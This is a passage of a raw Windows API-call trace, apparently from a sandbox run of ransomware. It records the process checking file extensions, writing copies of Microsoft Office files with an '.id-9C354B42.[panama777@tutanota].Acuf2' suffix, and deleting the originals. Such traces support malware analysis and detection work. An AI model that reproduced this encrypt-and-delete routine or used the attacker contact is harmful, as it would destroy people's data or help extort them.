	[0264.602] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1
	[0264.619] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=83808) returned 1
	[0264.619] CloseHandle (hObject=0x358) returned 1
	[0264.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll")) returned 0x20
	[0264.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.620] lstrlenW (lpString=".doc") returned 4
	[0264.620] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString=".docx") returned 5
	[0264.620] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0264.620] lstrlenW (lpString=".pdf") returned 4
	[0264.620] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString=".xls") returned 4
	[0264.620] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString=".xlsx") returned 5
	[0264.620] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1
	[0264.620] lstrlenW (lpString=".ppt") returned 4
	[0264.620] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.620] lstrlenW (lpString=".zip") returned 4
	[0264.620] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString=".rar") returned 4
	[0264.620] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.620] lstrlenW (lpString=".bz2") returned 4
	[0264.620] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.620] lstrlenW (lpString=".7z") returned 3
	[0264.620] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.620] lstrlenW (lpString=".dbf") returned 4
	[0264.620] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.621] lstrlenW (lpString=".1cd") returned 4
	[0264.621] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60
	[0264.621] lstrlenW (lpString=".jpg") returned 4
	[0264.621] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.622] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.622] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.622] GetLastError () returned 0x0
	[0264.622] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x61204, lpOverlapped=0x0) returned 1
	[0264.633] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x61210, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x61210, lpOverlapped=0x0) returned 1
	[0264.753] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.753] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0264.753] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.753] CloseHandle (hObject=0x2a4) returned 1
	[0264.753] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.753] SetEndOfFile (hFile=0x358) returned 1
	[0264.762] CloseHandle (hObject=0x358) returned 1
	[0264.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 1
	[0264.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.772] lstrlenW (lpString=".doc") returned 4
	[0264.772] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0264.772] lstrlenW (lpString=".docx") returned 5
	[0264.772] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1
	[0264.772] lstrlenW (lpString=".pdf") returned 4
	[0264.772] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0264.772] lstrlenW (lpString=".xls") returned 4
	[0264.772] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0264.772] lstrlenW (lpString=".xlsx") returned 5
	[0264.772] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1
	[0264.772] lstrlenW (lpString=".ppt") returned 4
	[0264.772] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0264.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.772] lstrlenW (lpString=".zip") returned 4
	[0264.772] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0264.772] lstrlenW (lpString=".rar") returned 4
	[0264.772] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0264.772] lstrlenW (lpString=".bz2") returned 4
	[0264.772] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0264.772] lstrlenW (lpString=".7z") returned 3
	[0264.772] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0264.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.772] lstrlenW (lpString=".dbf") returned 4
	[0264.772] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0264.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.772] lstrlenW (lpString=".1cd") returned 4
	[0264.772] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0264.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59
	[0264.772] lstrlenW (lpString=".jpg") returned 4
	[0264.772] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0264.773] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=61312) returned 1
	[0264.773] CloseHandle (hObject=0x218) returned 1
	[0264.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll")) returned 0x20
	[0264.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.773] lstrlenW (lpString=".doc") returned 4
	[0264.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0264.773] lstrlenW (lpString=".docx") returned 5
	[0264.773] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0264.773] lstrlenW (lpString=".pdf") returned 4
	[0264.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0264.773] lstrlenW (lpString=".xls") returned 4
	[0264.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0264.774] lstrlenW (lpString=".xlsx") returned 5
	[0264.774] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0264.774] lstrlenW (lpString=".ppt") returned 4
	[0264.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0264.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.774] lstrlenW (lpString=".zip") returned 4
	[0264.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0264.774] lstrlenW (lpString=".rar") returned 4
	[0264.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0264.774] lstrlenW (lpString=".bz2") returned 4
	[0264.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0264.774] lstrlenW (lpString=".7z") returned 3
	[0264.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0264.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.774] lstrlenW (lpString=".dbf") returned 4
	[0264.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0264.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.774] lstrlenW (lpString=".1cd") returned 4
	[0264.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0264.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68
	[0264.774] lstrlenW (lpString=".jpg") returned 4
	[0264.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0264.777] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.777] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.806] GetLastError () returned 0x0
	[0264.806] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x74c, lpOverlapped=0x0) returned 1
	[0264.808] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x750, lpOverlapped=0x0) returned 1
	[0264.809] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.809] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0264.809] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.809] CloseHandle (hObject=0x2a4) returned 1
	[0264.809] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.809] SetEndOfFile (hFile=0x358) returned 1
	[0264.811] CloseHandle (hObject=0x358) returned 1
	[0264.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 1
	[0264.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString=".doc") returned 4
	[0264.812] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString=".docx") returned 5
	[0264.812] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0264.812] lstrlenW (lpString=".pdf") returned 4
	[0264.812] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString=".xls") returned 4
	[0264.812] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0264.812] lstrlenW (lpString=".xlsx") returned 5
	[0264.812] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0264.812] lstrlenW (lpString=".ppt") returned 4
	[0264.812] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString=".zip") returned 4
	[0264.812] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0264.812] lstrlenW (lpString=".rar") returned 4
	[0264.812] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString=".bz2") returned 4
	[0264.812] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString=".7z") returned 3
	[0264.812] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0264.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString=".dbf") returned 4
	[0264.812] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString=".1cd") returned 4
	[0264.812] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0264.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57
	[0264.812] lstrlenW (lpString=".jpg") returned 4
	[0264.812] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0265.082] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.082] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.083] GetLastError () returned 0x0
	[0265.083] ReadFile (in: hFile=0x320, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x4b80, lpOverlapped=0x0) returned 1
	[0265.103] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x4b90, lpOverlapped=0x0) returned 1
	[0265.104] ReadFile (in: hFile=0x320, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.104] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0265.104] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.104] CloseHandle (hObject=0x2a4) returned 1
	[0265.104] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.104] SetEndOfFile (hFile=0x320) returned 1
	[0265.106] CloseHandle (hObject=0x320) returned 1
	[0265.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 1
	[0265.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.118] lstrlenW (lpString=".doc") returned 4
	[0265.118] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0265.118] lstrlenW (lpString=".docx") returned 5
	[0265.118] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0265.118] lstrlenW (lpString=".pdf") returned 4
	[0265.118] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0265.118] lstrlenW (lpString=".xls") returned 4
	[0265.118] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0265.118] lstrlenW (lpString=".xlsx") returned 5
	[0265.139] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0265.139] lstrlenW (lpString=".ppt") returned 4
	[0265.139] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.139] lstrlenW (lpString=".zip") returned 4
	[0265.139] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0265.139] lstrlenW (lpString=".rar") returned 4
	[0265.139] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0265.139] lstrlenW (lpString=".bz2") returned 4
	[0265.139] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0265.139] lstrlenW (lpString=".7z") returned 3
	[0265.139] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.139] lstrlenW (lpString=".dbf") returned 4
	[0265.139] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.139] lstrlenW (lpString=".1cd") returned 4
	[0265.139] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0265.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68
	[0265.140] lstrlenW (lpString=".jpg") returned 4
	[0265.140] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0265.140] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.140] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0265.140] GetLastError () returned 0x0
	[0265.140] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xd1, lpOverlapped=0x0) returned 1
	[0265.141] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0265.142] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.142] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0265.142] SetEndOfFile (hFile=0x358) returned 1
	[0265.142] CloseHandle (hObject=0x358) returned 1
	[0265.142] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.142] SetEndOfFile (hFile=0x218) returned 1
	[0265.145] CloseHandle (hObject=0x218) returned 1
	[0265.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 1
	[0265.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.145] lstrlenW (lpString=".doc") returned 4
	[0265.145] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0265.145] lstrlenW (lpString=".docx") returned 5
	[0265.145] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0265.145] lstrlenW (lpString=".pdf") returned 4
	[0265.145] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0265.145] lstrlenW (lpString=".xls") returned 4
	[0265.145] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0265.145] lstrlenW (lpString=".xlsx") returned 5
	[0265.145] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0265.145] lstrlenW (lpString=".ppt") returned 4
	[0265.145] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0265.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.145] lstrlenW (lpString=".zip") returned 4
	[0265.145] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0265.145] lstrlenW (lpString=".rar") returned 4
	[0265.146] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0265.146] lstrlenW (lpString=".bz2") returned 4
	[0265.146] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0265.146] lstrlenW (lpString=".7z") returned 3
	[0265.146] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0265.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.146] lstrlenW (lpString=".dbf") returned 4
	[0265.146] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0265.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.146] lstrlenW (lpString=".1cd") returned 4
	[0265.146] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0265.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65
	[0265.146] lstrlenW (lpString=".jpg") returned 4
	[0265.146] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0265.146] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=114) returned 1
	[0265.146] CloseHandle (hObject=0x218) returned 1
	[0265.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 0x20
